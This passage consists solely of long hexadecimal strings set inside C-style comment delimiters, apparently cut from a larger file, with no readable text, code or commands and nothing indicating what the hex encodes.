3ddb9581873a04231bb7b26986fd5fe2d12de57724a6a6da809051b27d40d4c26a4ee8c901897bfda3f526f90d0f870bff89a744df895150b6f101226d5e251f9f6e759d23a9d76c9bf8171796efcbe394f4ef6871ce2f0e7021d467188a9b9b1113d656e8fa8bdddb5243f18069dbcd7f75713485079ebd91e59c69bafe10b19808f5aca336f484072076b22d5ccd420e9944e193161a038b764ec4046db418714545c1e798f23ed82ef351d652d1cbc49b341a7e79caa96ae366273db8164a77996746f5b8926c8f4ab4351e531603ffff15e84d830220de845ade620c76d6c81bd891f3de9346ec3dfbff39e868c5ec7b3f6ffdd16a940fb354cb5b5aa10dd7e25139947f4b800eeb63b6282c5724b76fbbf99d76145b6ccde633c397c08e855b68905a6224b51e29d6178a9b5fbdb8492919ad793d0e57fa08f1b250856c5b8dbf5691082af7cd506b66ef00b824f0a6588a2fbe2aee20a26e2e437a9119439c69d320f49f9737883b81d5bc5db8d4b5d2faabd6f03647b3b8818ee66e2f215c30bd62d3a6d567829465979a2f0844d5e596e3313037a89826cf93c9bab020f797fcbf680bf5b78f080de6d08f51a6ea9eddc88d18c1d1d440c0cd560b4699f400ca39eea8928248cb6d6b99285a24312232f899b4b842cb60630e030877b7c2dfe2aeebc390a0fa1788b41d2a54947319355a35500bbdb0d1d31ffe6e6f31ae3657b6438362c898fc2fbe46a71055e889a3dde21827c76d1220e8fd3323510aee0308daf891179d3300cbdf74f4c07f3b744604fa3557916ca4fd443a145eb13e880ea189b93b3ed06351079f43f70e41dfee7b8bac992c7ac8e9ecf17de44c1211b69c48676e5293d7fb4c42eff1f6bcd1d1e6b3976be8e1fe3ca3607b18d8a6e30a42938754ab56e4f9e486c1e91bc5d2e909948088c00a4bfdba31aeb83107f4728aabf2be828058c90e52cd01dd4faf0dd8ec1148b55a05f84f6bfe4f9c6647ebaea0be1446ce25b86da0bc1d1251327549225ffd4de67d1e3eaaff7169b655a8197a635019e8346ce8f4c06bfbc1d8edcd5dcaad7ceac580bea90e0e95e9df5ac3ba0dd57541120d192c885a1d4b14f5c3d0652987027943885cd5befa26be8a4ab5b4e2d4dfbb4f41630adc3ccd1aec1e0e448ec24b7df729242e28e36e230a9a7fd273beab318180c5efc648ac8cb8c8969f178373e954862c1151b8fdb41387b560b96bcb43ad76ad883d8d93690668ef7a89eec13d63dc5376b26819fe7028e3cbca4e9a45b8cd2c50801d1e848c5af5cb5e5995919e5da21e6286ed4f4427cc0086456ccc98d1cbf12ea7e8b6a1662e3b5c18caf7df7bbe75cb8534487f9fe6db2904a2e68edebbbaf57a61008d1d6ac6ff241f529c0f9593572e64bdea4c1caa01a5b2e722cb41323695b8118f38888d1f55f8247b85d7d0c172f708cc0e5908746031f84d5feeed18f149846475cbe057b9829de3f68eee0e2b5352153783456bc584d52e8666f659696fc745daa981c3e1dea57568d9a2de38153a46d5f28f8a2051d94c908bae46b83cfdaeeb789d190ee514fc61009efd7657c7aa03b2af4a7bf3bcf2c01308870a32c770ebdb5c4e19e167d1c992b4976edf045f98e34395970743ec04be13fcdaad68ae5c0bf328d5f8161e971499424734aecf918bfcb80e2e38fd0cadf9ebd2976a0256496a3acff7649a08aaaee1d1c8077dffd0d4bb5ee7ac0777f899377563bc5626c439390a3b798b106ed4abc99d3556fec604d020a99fcab90241ffed62200dc47a95ecf8b103f53533114b333b64d31111eeb0c1941d868d15731a5f1cbc2fdad904424453b9042d1784c41a6fc423806603c91e356b806b2229818fd0c254f9a89e3766740b3df5988f3663a54b201100d0e965320b703dab5225b389f729d41df38449f55f4826a9a4414d7c7317abc4b0b8ebbc9d58312f855158ba60d0fb2409f4a3f6e13ad9ab5849b16d328d5942e3e6975692374579f159e7868acd3162905db2592cf9101718cf3730ac7b6fbaa86eefd9afd7b1f7259c702ec6f7baf9d2603e4ca1a6994b2ecb1846dbe16c2867977c1d826f645f3504f5dacbd3c0fd6f70c881f1093e2b73b0cf0126f2dcc138ecf73bbecd2d13c468e5ac168bd1eb65712cd49f15da1fe02512103164e34b5bfe12085f90a96555bb57b834d99d2fe2d250657a1fc1fd673a2280af55caa08ddce10ec68419a3af2cedf*/
/*a82c106afd88caaa097e4fea488f39a8bea4c2fda6990bf369d968ece461c4da9ea5b4030ec3d5235f05632f82f6b31a57b6b9631f44af6a1ef4b20355e307d1ea3e4fbe43cd3619f1d4e73e1331a44e10651ac678f7fbedc50d27162ab490c8e448d5c196cfc39e64befbfce1b09adc672b002f80d98c4304d093c498895f1b3768c96ca69dc819ed8bc47b46383a801b1a69b50b92d03668a74c1b6505f8920229a10a7094c78ce62c370fa732201af8150f4dd56b2040a98ac02f2db86a9b0aaf9f64a678f5f3821709893dc4b2c0056527c45b60102cc6adb9ca879ecb74e21f40e5e546c88a5a2aeb5b60e50ddb116377a76f8011b8e764f4296c2bbc646d395cba100245ddc4dc0a92527e58b94cdc4b3864316011f4e5f5a38217c40cebbc3d533df79d2a3a9967f31ba637dc9d55a47ae9c249cde203af55dfb8f5654c7325e63f2f60668ca7f384c0bad30d6da7b83a30020a3f46dc9c20452323bb60e5bd1e980b0d7b560f4f5aa93fed432ab171e12e22d2c8033f2946029a921fdcdca6aca9cc0fa7d6ed99ac1e52e21f3100a2580d4dd17b2e4a2965b4557a0861e325a1fc28c8db4b3608336c0408f2b40fc004d7ab4d916540ba7cbb8a009ccbc6c0164bb8cfa22ca6db2ad248740438fc29021fbb399dfcd6f92659c2561f57f22b6a20ab845a305014434af75b0045c2291e775934fd65f973de2d96002d028821a14d657fabb204ddc7c78e1b55967ad06ab9607b99919e47d8148cb9af891440df6c53a9a8f90c855cb3a213d46c7de6d1f9ec55e2b69a6df60ffa9a272b6b1189244469136f8ee400ddaace61b3ce5264f08e8ddfe1e6353b72ec5d610dccf5f9706d2d4d8d9e395cf074130410e480ea5796d1740ca143d4447c5ac1cc515dd9661a3f6a1ca1ccef90dba59515ebdc61ad6570be76f0ffb8d376b3aa9f1815aae32249e0a44b1e53eebf1981358c6f9afe99fdc2507c96fd9244dd92137d34108216ba91ef2060031565e394bfa07a8c1d92de4eab564f24c1f528e76a0fc1e50e98302be2c0aa76f10b48ffa3bdc08d80945bdc8b3e30541b864e8d5a51f942932382cde4b0e5cdd6a6bafb0a514111b251b0c0fa694aec972bb9a56ad93ddb9596db93e66d1603134b3a8efaa7a72a0640293dac98c417b20de9a29a04d07e4c47b0e78672abf2a4db68daff245709b2c261136c9507c66e3c89fa9826b8435a2fa51dfb7f1dab438ea8c65919f3e8dcd37d543758ce4b80fa69a743a2e94cb687e03f6c56cea456523f7825af55e13865ac2d5556e953eaac12e6738175934ec61cf19bea62521fe57ca116970ca78038acc4384055719e9deb1d788d25857f087dba77ce4533b9effb5cf3c3e567a4d7d52fd8608849068a93da1cbc54f7a0658293002d1f9592ab36b6e08159efc421d40ec32afbe9f65287069d23c785d24078de39c9ec6f438d45a50424a82a4b7be2ff53b5ecb701ff2bf843d5c399fb1de5b2cf9c5237517024edc37cadf38855fb08420c7f30e4710b4ecf15435898754cc34122d47c70a2150312aeee2e1c5109f912bae88339f09849767a62e5fe920f58d3b25ce08e80289b79468348b4a852437af463587c9e458465ee5f5f2f9bd4b534e5b4c0492badaa7ef7e36d6ec41b1704b5a3e210103b482a382df1a7c9c18be0fc2b80e350aa0475e3673fd1c6585be359e94d6da768ce2d3d3d6458d01d8e474234e193e884700a9d7666540a42795eb4c2e3b9da95e8aca2a99ff38783697b17f2cb41d3634742c43291f6637a51a20d4ac847b900d03e0c9907101f8ebb48b89ef87414b7189ba5aaccaca4aa9c26f4c4b49c25f2f5cf3376800ffba4365b246325e0a4c1e192e221edb6d8a926034a828431bc014f82ec42d85af9d564f251aa767dd4051310b0cf18a84e7c6506f091f9c8350b0fc99722b5e1113258a2bacc89dec979560e8be4fcc0c3d0849952a7f1918d182b8f77ed3a75d89dd32824ffd1ec66c02223ddd0cfdd3864e93e3aeb4f7bb16f76ec4654dfda12e16be4eedd26c3092279a2ac21f81ce6d617912b3204cff82bf55577bf9157a8810cf4eb312ee950640a1ce14ce70576ffa42836ce97f3870ff02c6799b57b6dfdbf2e9bcd1da7100518adc043529fe950c644f27939917a360e5a43ce4cb379a74058d41f602a81365a0e112fff258d4c354853e75bf6e4eb2b303568457c80c56e8299e6130c3e819f0b423ca2306c11123613fb3ffadbba5b6c03be39560c3e7942c8a2d3a9cd7f0d7557758b582905feb8ad558c0546caac3792e52dc87313a7ded72ee47fd01867925be0886838932cd8c767e4b7a57c5cfdb17261825058f5e67a8eedaae438dbde9f0125d2dc73b362d48ca89b0e22dbf4168f025150f8f490999bacdaea261e6634094168fafb6a20e51c5ebb4493e7b69e903aa889217230710911518c494291df67f272e142cee46f8f2f5773352709d8e6bcb07ce8597c00cd70c124ee27bb9579dee62f60bba9af1a2cda5c3bdf176ad3b3c63738df6cd7c20e5dcb687901ffb29f4179ecc1cd83ee4aaf4fd7adf4e817a10b9fd2846e4970c93b58509b3c9d6940304d476ad313134a9d231e18abebfc4866f6d701f4d37d35eb70807b105ca648029b43f20ad2c1d2fb2fb815b6e00c45e8db2c1fbe0b9c80ba547b790dd6ee72367f4425c648c033daf344768c72df39b3d3fa3fcc0948dad1406ddc3499fb64704e8395a9a608c6d78ce4f521189a170a0eeb8a5788761612a54aa566146d12d4a7d09def29b59b50b81318e6b808dfb1c0a4eb75cac42ec9741901*/
/*780b3bae0ed23f73a078b9f9438c9d3b028f6d25f7f7535965cdbc37c28804786bf795db8e1d40664e16cc203e99aa0c4aa46b91f2cbed800ad897eaf16e71ed9370e5ebc350abb5d10560d6b0525c94f2c2e6dfa1460cf7fef3941af189e40f318eed2cb14f101b51e14f9499ff3c2c33c01c9100c20a1d1bf58df82670d931101f30beda07d1fbf246cb3630843d864c1f9a4dc4f94d9a4919a4c6ab936d2dd0cee68b65637e85d4fc5b8580d0ad7c41c003f4342b8a20d550cffb082cd1435f28d1aa1aad6e57a7eb6df628d8b059de13914326d28d2d622de8ed7ad5408deebb5cba4645734b8c48ac5554a3417e57e1f2b7d4433f88e1ac1b4782f5bf3e17ddf487d182d90a206d955512073a8e5e991d78f9cc094f683ad182d2c91a67b7071e7e8a9fa99d20df8a840aaf200a002f851e132e7318b494bc5348a4cd067a0b3eee09f0453cf90557941d6c4437107851d47246811151024307baa22084344a9495badbe2ab1223984c86b0f55c64a03e00c40402f3bb746961f6359bda95e17d5bb4e139518f3c5049df5a2a87b380d52377f506f6419c0bd104c4ad950a28b52c9466ab0890f322c7e10a5f37a520d930c9043ca3bcb3f1dd01364ffdf94f45266872cbe37e0e710ba4426978e32074740e5198c810a53c94ef142e6eaed5be3e52968a1aa0a1e8e2dcd032cef79195621c7416751c7c218fca716f268779b5c6f705416353a1e758841d167997d1cda3238e4067d0c88a8e9dbf52a539bc1e2952ebe37fa8148eaba5e771f2fd4c348fcf6bd6382079ce59dd9a9374f7d21cc2b18f83e098cf51aa1d462deb887edc49e42203af6259c5c3f20e1fb93a7fe379cf42737b696a0c69dcdd1570cd833cf18803455cb0a42bfd547544f033aeaa4a481c537145ded350ee691c3aec9330e5b32eba61203b6c280295bbfbaeceb41d873a9fffe22e8b3240f08fcd3367ead74964f26548f4f9e0904f0787be58a1e59c326884ec006133d9c08caf3e0193dc498575edf74492514f217784f8d86da13067ecd021124c16b3054edd45dd073c0c095c2f9ac67112df3442c93891c0a392f5cacdf6014d8f8431734714f19f7fd1841db58753bd6054622b02fb21ed361c0905c4732fc631dfae8ae0f69cab7c15a7701242410bba795ee9e4e857568fcacb8971a6c9fcf677d7fde5f3edb1652a7f616c84afb5b6c2e07d6850196ba74bbce32fc1952f3ea30b260140e8ebc45eb401521eb967443e584c6f5becab74797ef39b88bfc7d0c521c83de1488bca47a0c86d44ab1bf9b77f6fc98ed56c36750c7af887cc71cd26645179c1395b67bacae7ec7ed4e73e34523d870ee19085cd3a0aaf5711a2a4e5158ad0515a05efa6ce6193444b3ab4e864e65f79927c4f00deedd50a1ffd3d7eab1f6fa9c6486f063799c4f77caa2586d9de0331ad4c633d6dfeb50b10bb2a722b08a9556490bb7b4dcff66112d8383d24d98ff7084f38a67027eeba46557e9888804ea6fd0792037d46893818a21693e57b92493cb1f7de53f8002ae225ad0e8650f3f3b6df0f6caea43234894898c1dc4ef8d95f21a17470a690bf472fbf80edd8c557830356b3bc2488593146b0611c9aa7c8af0d4ae7c4e18c80665d8acddc5e745f4f8be7c3e85471418644942f7aa3749f7a0538a54e2c9f122b20b8e0f8cd9e45860f504f4d1e43c394aa4d59c5c4fdd0f98abc82593da55f0e46838c77f110bae4faf16f342b3bba57ad6c4d8b254cf6eee29461dc718029b05cd4a79b9bf63eef6ca1968f4b59bb905d2323c523614f5e202bdd5e9a181f1490db04c40d02250106c6d3e54eb6a6587af376e797dbaf63c1de9cc6b4c9f381f782e7defe5a832784f6d9568de9f586c7b341d674e12216c32529b885b14e4b004e69ff27c1d3960b48fc21df971f6b173ea87740a7431b95ed5ab25b5484a956b924d0cb07a4fa4ac0585503ba53fe47c9404cd59556e75b7b90959c322ed2c14a48bfb4777357d98ba96c8753afd35ff21c80feec231505c3c20978ffe3635c320270d34e0e70373e8b7af1041a9c6cecd88c0e04f51ffe0d72867d9a88e952531a7b8cc9fc1b30544e97e5f6e1ba47d888b9fe509e441e60aeae0a57cf1bfa22edcf9ebf0322a2ebfc162a48426291f416a0e661575394e29c4ff647472aa951b29fa2c77ae9de55f085bee163b0d84f1e9eecd2689a6536ef0b6c38600f71832c574429d6291da811f6eedcc924e2419a7d9b350fab7ee12e2f0689d20f723e2d81d0f93b05849c2c16df83e7b5cb80aee87746e6b7782d35c409544c5a3286ef2c9a012642b3ae1cbc87cfb6b842298657080911a33533aec6b0f209bff48324cb38977f70f531915d107081b817b1be035ccaf79e12078ad4a9aeb234cfc8b3989b65a19e55514f41557e43a733b66d8f7d9850764350ae14332d4b8dff85b29f1f70e1730ba891d9d9cbe40e1a1ffd84f1f0858b68df68f51986327f6ea3a437a2db54e65d51f8c05978f54f0d47f8be4119baae69b2e89ed70169210eace576873e090bff539837e8e46c166f9c15365bb621e1ca6e2cb7cfb944bb345a4febe15d4d16aa362862acd8aaa22ff891d2bd64ca733230bb4f73d78d8a86c2cd62b4e140f4639a62aa746e3574849169cfa999bbbcb23ceb5761fe7765c714adbf984755cc0879967386d2ac2aa150cb172ed8b6ed5a73d82c0b4503c6442204ad408b17d176ddf6723053cd5e235b1569e7bd4e0112634aad6f013e25feecf533b829de53ef1d7ecb1c66e555dfcd155e9a7e82a33d9b2491013e9efd0dbda8cd4ee5*/
/*43bce0a3436827e70dd83805a21194f8a7cc5502b68fdd172fc0a973149d0245f78bfbfde387664d08e4df99a2d9a481313dc955dc6056f457c8c6b78576e49001c006bcb3bf80c59e4922d8bfca3146df87e9559ff783048756238c0e435f6c089ba626b5020b5e6a0e12d66907dc7567be870357383db250d964eebbef586d780393813238c6e5b89bccc73a7e7e45357ec51a2874442ae5949163f95921bd7a9a31c4d846934ef2e962453125c5f1ab43472a0d509478d74c78da89f71444324a1afd01f1f4fed1effdfd44779015e34dcbbe478bf7635cf0a49f42d912180b039b8419f391a2bcac987a9f8be7dbd6cccef12bf760dcff3168a00a5dbae2c53053ceae04c4b93b4a06572ed3c1e4455a06756b84410dd5443c65ccb8fbb1180f00f93b98183ea41259deff3b4f48640fcc1c8f0ec0d45671549d8f0e40b8747052b9b97158ee77b1a524821fe245e56356ff29d04c6b5802237c41279c047c0de92f2013f7ce076b13b9fb63a4369d2eacf7b010c02afa674c808bde5c2ee2918572a0677abcf0849c41919e06a95992649496a5833220efd57ed6ae9d0e8dd02f2b0c345bf79d021659ea373056459a56134c787e291740328125dea41a08f407693530d0bab7b073fa7f9722bfa87e8b51a6659cdedfeea4600def8208b0e5d373e0eda6053f5c5ea8d8e78f9bd5ec905a44e452556e8956624debc197b17f32246afaaca297dccff2a350324946922bf2f2b4ca107eac77db54ff400e539a5848195977f8281165ff0afc6c0436ffdd90c9c00fe26930bb95375768b58ab1c71d41882b27e6fd5fb7b211372ef2f940d41d1cd749144d91ea691788d4e060e1b31e13013c28949937c1738710755f02067e477933ffc262c86d8d056da18d07e2ff65767ca4b24d03dc30046451b6d674709ecd24f9c9842c598271c73e73e14a48db904f0a3f60e2a6c623a1033cfcb11e369bf378ce5420748c299c89bb025f5d0bcf73e9265bcace974ea52f170c33610cbdfb2a10b2859ad49ffc4b6057ce753d8c5b8443e78223eb78d9fe7aa7a6f2febd9b442fb233d5d753dfc208585899685c7e3f3b735db7a82e9780b7186f3ca7e10c63101844db1b586cdca75e6cc16e0157b7beba443d4d210b4d1a423e70bc6f74b7f46b6e51f560d99cfa0b60bc49b7aec662b1e58c8d9354085d12c659c27e288c0b732a37d9af244134f74578d479881f702f53538e7ebdc14041f7ce4c2671607741bd8fbb004a591f64d3cf4d337076d39bb56898390c364217f12cc190c72c1fb872d688907a2cca8668a919c30ec2a81f6616f39806f5c303d683c6e299e0d558cb964142751d0be091709c4d11fdb470cedbe4e53b94b344eb066409c7ab0dea040256797ef4ef5263404f122cb43bff781e56d4bc885a99d68c2891bfbd5e70ea14d59d255370e0802bd589390947b9a342879036d1c719cb3ef22a6e8eb1d270c77719bf2cc047ff119a6bb8961114ce39144e2fd7b96dff48d708e097160d1a26b13f814a159a49519b601b6a46e89039bad20d34220a4e48faa591795fcb3453d58386e90f2c4d7b9ae761ddccaa79e72fd229d988e7c2c682e0e2c8efc8088d857681530c65d72c434d870b734fecb20efcb165a2aeee75818de404d8ee5c44847d43db18048778161c70b0e6ac2dec00ad190385c9f5e1e15fb84cf3688fff8c1f0e82bfae75d87026918110425add0a2824d7bef7fb6b61c579b4eee117e5b1cc59d420089ab7e44387ba9d236f38c9f4026b7f9012bd15018967c7eabe66e04f5d2691fa1adb41acaf3b4b5423b37e9ecfe1ca3d507e00214b79a5069efc4ebfb370d6eddf8188981c08b1cce665a103ea06f95c007a5417f6f10939ad68e0bb0506ed62a0743d9bf287f7a24f6fa3e94a61fa8a8da2cb7abf84527e0ff35c5957e2a1dc7b2fd7640b279f83989c2f0cbd9e4769cdfa873413fc0c71df127e25675b9a8feda52bf221a63b7147d6884d27df94c1f69139cf2b92aa65800a4b6f376f652e85b53da4507ebf2328d188f651d525fcb7d2ea2abdc589e11adaa7061836eae39507171f6a7f51bfcf2023f4228df97f9a0759ea327d01e28192b81cf41d576fc2846a5926033edbf89f8792649f49df2139eaf311d77e77ee6a492d2f5cd4a707bed37ac781048d027248002f98f16ac92141e07aead73968eeeb7378d56885e2d0b9c5c398131a22479d22af9196c663fb95e0d8067536a0c5e4f19250920000bbba392769d08443d3d64c647ff056ebfef9b3e3dda5ccda790dd1e9e8a2af572957b5c746e279a3ed56d34fdc01d10d37b3901253e6315e474ec12d7cea788202db8857118ff49bf4b06a76277d97a6bf2efff19c1111c1b6e5e55c906a1371c3f3adf72c337ed5c32a2afb308fbe10b832e3fcb4cf37477606a470394075b00bc8ce5a2709d08801195b8047c94ef97489ba387f17cb966bf18d6124d909d0bbe8898410d7e3264739112055a3e4794926c78cdaabc2fa4cbd990f25e39bec6d7349ae622a1262b2ec48420adff45ebd23bf11b4821dc52207c7a5f69d39ffaab1ca3d6ae26a64bd5b970a50980293c909c87a038227d0d24baa286b75116903c4459ac21a74e1d41a27ecb5acb78835386bbf3f4c117b9c75ee1d3bbbea4837b106d464c6a0217c3f391a366fb45b7e490a1a565870042df003ba2b95793f876fa56d095d15f3a861d2b25b1f8d16cdd4714af63c14cf97887a4d0ac1e682fe421cd1ed9993ed3b8898e389b9e009e02d4034ea6af8b35c8ae85d1baf96c73f32113065e2bbe119a2be3b*/
/*ee52bb48599df5a20893d4dd0c4f56516158a7f98b40b552cd2f1dcee93f690b5052f6903510a051bfcf5e0065233e497ed710606264c62e2e960b142159ee19f39bb725167b387ccfc07918c3e8efa574c9ca1f10c31f482c01c298af97a5f56953157d162a8f20c8746b295a7a71efc12fbe9d00c0a6f7603f48f39af63a4026ea61403b09d8b872595df3470723a12211820005b3a9359db0aa1195e92188d29893a6e68261819fd63957a852af50c9b9d0af154657873073ab3f4750c42e52ba83413a3851a08572bfff9643bef5ce685b2f9d0299f92dac2ba63f9cc7b826aeb9433f1427d8cce0ef7701ecfffd11cef01842cf19e659b72000112d6c548fd540e352a53bead9863fc7d380834c698d8d84203e53e2428031247b15c895f9c0a75194770097c97aa28ae2c0309138d399b921289ab1aaf68fecb91cffafcd79ef23e401c96a98ab018acc53e7d89479ce3399eab4850f9cff78efa9692bcfad2adf4c62e8c52a04675bfed9b27b2f3de4cb9ae495e9f96e03f787cf5d95a44c7ccd0df51ff17aeadc1556e9b90621af4c370bea413ea251419ad8aa3b34d65059c5b89b0dd95a2389c76d94019ad9bfe4b4f787b0411b364047ce155c2d977f61c89c45feb99eb3839cf7d072df30b1404c74b950a69d7712da6692ad746d5ec5596d62b01288a767381b018be4cdbedf9b4aef1d31dddbd4c548fe9a098cd4e1f324b186fc46ca181ef1ca199bd9d7819327da699c60bd584368315fdecd2417ed950d21190feb492a95c670555f9739f5c1cea0545195b6fc046552bbc9fd1115102d49f45ff0276a163f50de6f107defc9d160070a2f084d11d0fc290fc46ab47a5253daa4659e0c4de9992c8d1cfb131788a0b25fd7f10020890a38118c5937d21fa6409ca220c6ff96002788c983e8c5c845083f664af3793c77f12a8eddd0c2de46884bc4f1391801e64bc6cf3a57d48e50577ac2112efa7faa3508e272ae7732cfb1c164cb706a07509fff5f83383d4caa1669e549643382123cc2938cfb7148bd0ed51685c63086f782da9642eab202100cdb2531bd66ac25d37e093065f553bb9eb6a2160949a1e9613558440f936cb700cec7cea396e6233b945a5bf7ca918791dce117fd1c4854885b34e5421bb4c7e38f4b98ce196d4ae07bb9c366f302b81ceffbd9d1bb72d48d90335154bfa700059f46fb5f98651e363a3f433c9e9e59c9732fe72da038d98414139024c9a2845058c68e6a0f3e43a29c2e6adba06cdb9649b80f3a350434ce6b2555e7dce33d06cfbcf817c137f99d064d0b1e9edb02e94533da73448ead04b1770a3fa2db7b68d51f480ef75c8a5cf185487467686b6a9a4da34dc80febb165804d75faea74447e656a9328ed197ec49a4699afe5cf7a2c73483f5efeb76bd6f42389ac55efb9e0bf34d547b4aa1c4fe1a8bfa4944401e483819729e7c226e4b282310d0cb0dd71217973d1e51699891cb4eaf0a4b6d5a54e032bfcf0a89f4b4e7ddcb0a63d02206e203210b627931f1ec3a49263f3c529397bf68086cc1d4101d45407501ad31adca3eba98e52f6ffe51e760eadfb530318520e6203a38ba73a95c0bc1bdb02bba18033b2709ce22cae75d3ad8f4b9cdbd068d54bc87c28a5a37918d4ede31a0a220a778f9d02f1e152fbc9320393665538b13e690790e4bbe5882b747341ae01d0ba4fabcb1dcc225795159d26596dd11a1e603b9fed55aaca23522e4574ead2a63dcf3e4b4bbfbae52992f2b80c628cd5dc36c7180c9908a98e33f9b4a96e2300db632efd57ff953dc5408a75f8aa8f915a7a59177f991468d4f5bc0efc13d08f41861e04adfc0d289ea8f13872aedf3b689dcd32fa8176ff26820aae7ebe7240796472fdc7c28e2214e613809cf7105aa0b6ae62d8b9a8cd30c45cc476521a4263614e6cc0a2507c6b9b5ad7a7a462480d2b4094f1ed3b98efb40aea84398067f935acb271f5db287aa7e3c3ce1632494b596d8dff9a47d03dcd01fd3b9fd5076f270548d7a886e2ea9138b683beb7d1aaa0add950f4df888f265cfdf56a97d84c6d5f37fca7610f089ab0c83edfc09858319e7584a8f5733c227059537ba2534cad70fd59c32a4b04da0d9ecd14d88938efed382a8798a6994fa37d245474e2361dfb1cf7ce9614db3bc3eb1902bb68aff908827f443d19980f7a840ac20a3fed2775012959d0c279f08d88ae3927e779f2b0cd8043074c61baf406f5d2e7c599fcc2162f1e6b462567ec5ad0bba66b6c9242cbbdb75443d63dd0e5fdbc2cd10e5af0861bfae4c90f037b1a8b90a64d7542751a8870f4d05e11eece3240cd87d3c23f7669967d4f0797b5ff4398765a9a0b514e2b32924090e2d9b709b3eb58547eafc9eab7195da3d2060ad3e827b390db31a7effb4d71bb395572b51610556378b69ee4ac7e6581dadb83b302014be77708fed9a8a74813cf1942c2c09d03847b7bb36b187a9940e5071fc29f39e7cc745ae3e5bb57c6a19bf2586b848d926c5e01b9ba63c8f5d9f286c4cc6c328c38f35c29f2bbb6bbf5534f18265654193319b132e89674a511de1289ae9ff99746dde71764d95b1b08e6175379ce3dfd042ad5fbbeb72b750234777c9f150ac6e2cb1d2a3834d450c0fb8b8630c9e6612cf146ea7ce53de901c37dcc891dded985b8f6afd7edaec3eba875449377df4d50958c4c22b68395e356c0ac042c7eebcc1794458f7baf05cc8483a8042ce15ced04a923b2849f7a75ff290d2b36921a1d96821adf762c2a3be44bf4826cfe3dd86762ae56ab04100c3ed5a4a0818ec51222485aa331*/
/*9372dd81f0bd2dbd466a78098872393c93019cf115e08bd699fe26b26f2b7ea7d5a32109d178f1f017c08a5ceb72218afdbc20991ba6c78c789e1bea15c3ae33c213fd828a052598749850921d53730b6063f8c032e9e5c96d4f1c17ae9a6b3f27429e3746f3c0ce0bce423f72b77a8a4e22aeffdd77f0f8ccb67d3dada5701a02c7c7b9756712219a8a419d2ad739f8020653bdd2aaf5ea91d469afb1a30c0988c1f117d4f7fe2c217a1ffdaa3b554a83521044da8e7966f1f8d6bf4c5c76c835775bc5653f9ee018911ce1a5b1538d10a6e5da2ebb6308837f215cb40e3e3b0bc07cfac27ccf28003ae2978529eefb772a438a27d1eb78ad379e812da563671ef065fc9f4f8a6fcdb838712e547e0714c24718809b04c280f685593101a5116c567a6dae21ea7635956c29be7c70eb91daedf33f2d3e40fee5b4b83e7b10dd77b593cf782e5687025e95390a2fb927fca54107d4c223688ed85b48f972fc08002e0670942d7c846a7096c33ff43e8dc205db0df2b39c2b7d58365f71cd149b4c2d6b0ed320670e38a35dd89006d2094f2779c544abd536bd944ddf9454cd06db879c7061981a28d9848e9bb5914408b4ee7fde7f21d0b13de3d71b17468b298de94c3f185612fee008463ab799e9f536585513bd14ec1e939008ec6e228e55ab064a0832c2300eff7a8c877296c7cb8190ddb6cf5033bdf7c9dc643c24b7538357816fd914135227f6199ff3d21fa5fd3e822a2c867475c251f5d6d3d9204d31c7e76e066ebe9fadd749131efe3cebb5ecfa425857853206eaceba902cc240fe1534bc1bfcd1dd17bbd3b4edb0569527288643af9ef1b064a4ba847e9a0fb73f562d4960836dba0d05715b2a79bb1f64f4693e732c22e775b4417dba6a8c51fa43a1fed51c5ab0e67f4ba0cb936ec666f240caacf9687c033f2edbba58024b3c3deea66bd2bbf0cf4b9b5b2f51d0c99a4dffa1b680807d1abf2e97bccb53243f98f2345bc8fd18046167eab1183c18bbf31dbf84a6d0d3b175b9ade79f010a10ab4b3c887aedad4462376c9ed655ed065292bc6038c58302fd92127cb5dea52118e2e31310bfaeda5ce00c8215a008aa4a75c5339b80a88bceb0fd22cfa556b2ffbef6a9dc9eb5a85f91b053a200dda3009e18524d3db90f80a34130392544b8acbaf5f8f216fa448f1f733b4aa7db52ff17783e8abf5eb1f35b6d941d4f57f40c02673f1c8d18f226ece87a8d6e8683570449aa7061cecab0372ac2845ae14b9236f46437fb7fcf9aa65c8f45ee77ba6fc43154ccc2e615a12552ff57213b92190853a4244d84d2a1b69a6619236ff355620b3dbc6656f949043a9a703c962b6794acd4a57fb00cc2d44bd0af1fbc3f6a287395d771c1c72f6c2eb9a7052dde64be1c9b5b88236337014e770e146529b8cf1c963eaee866b720c59103f384d5e647fb672523c3c417f788572275d0d1d488ea1066706984e645026c5d33aad801e469d8983f68dd861ffdef41a16ec65bf292e1b4ffec513a8657d2ee8178924509ecafd5168dd8f83c68ed6d6249283ff4470796500b0eb1421ccf287b8f87970c7ba7a566c7c8279280524130c2e412ddd944e67fb96e5ecd796c199aafdd47138ba563ad872f3d32525f05e21e1b0da6ebf0839f02b1376043ef72bc377e2f57d4ab9ebcf8fada9042e0d3eaccdf3735b37b891d2295da0f23e86bee393e08f421447fbf4489112654b9c293ab4a40c806f946ed35e65895299056c3c8136609ec3d97484add734defcc230f16ba040588303fe2d577c42485187ea4cdd5a84686ce0a717c3bfc0d4ff47dd7e9ae0f1de6095702dd5d2ae89a5cbbfb137665726950d762311438abf3ce353bbaa57be77c070ac4877ba1a4d7013b860f6fcae01a1ed7e00644d7ec65141739e6f3a99fc853c4e383dff8f05bb8cdcc8f39af6260a4f77cd75ef20b7ee9c37b550f3e77138f1707ac0a90adc4557a935f9e9307816466729af22a88fefc9cb13290a10b51ee1876a5f796b470fa72c63e7111161f2ac082e33431cc9c80c18bb54e7c2d3d7d1519843e1aa811feab1931383312db836a21755cb5456782551b20559849faa433f68bccb5252ff9a4e5801eb8bdea8265415e4b621d16c1e1a1f6605cb9b3d6468dd2eb467fca0b72eb17117938c67c5390490278f70c9355d950f4a7679b2e6a970a4e22409e536eea1e356479cbf86b408cc76f7f543eaf288e732ab4bc2104a046ba774fb6333ab4217768fae009d3a2b872621bc98fc02aadad3035a416444dd971b2edd4d6981c4e2d882bd037aed80d1c44242e3fa39b0813c7a3db5d8ac0ca3ce93630aec60b6f9604bb7a86a614d87601eba2bcf98c0fe5b27b231611c782d15c82cde5777eb14fe13575a9b1c41ffb7efe0e6401c171d9f988e6238542aeaa913c18ce5c85ff7ac52b1525fd3edc4a61fad35b8a8bfd8b79468fd3bbbad847b6975916d62afec3c5c0a229b78d8710b3862414bc63fef6d6cc252930b4b1300c89bd300b427567d6c03aa42c701c2cf09dfce6f7dc2094c7d65473ac5141cc03cc95c1eb21e0a1d0377a0039a2eaa2fe1df623af41c65acb5d6a43c45833501a9f8cbacc38da57dbfaf551a079e975cc6ce36adb054ebb04cdf1db459bc378bf4ce82a484b8eebca965acb76e0c9040c94ce2812a4585eab60d5eb0e71bfe6c9397d42ff9d248e9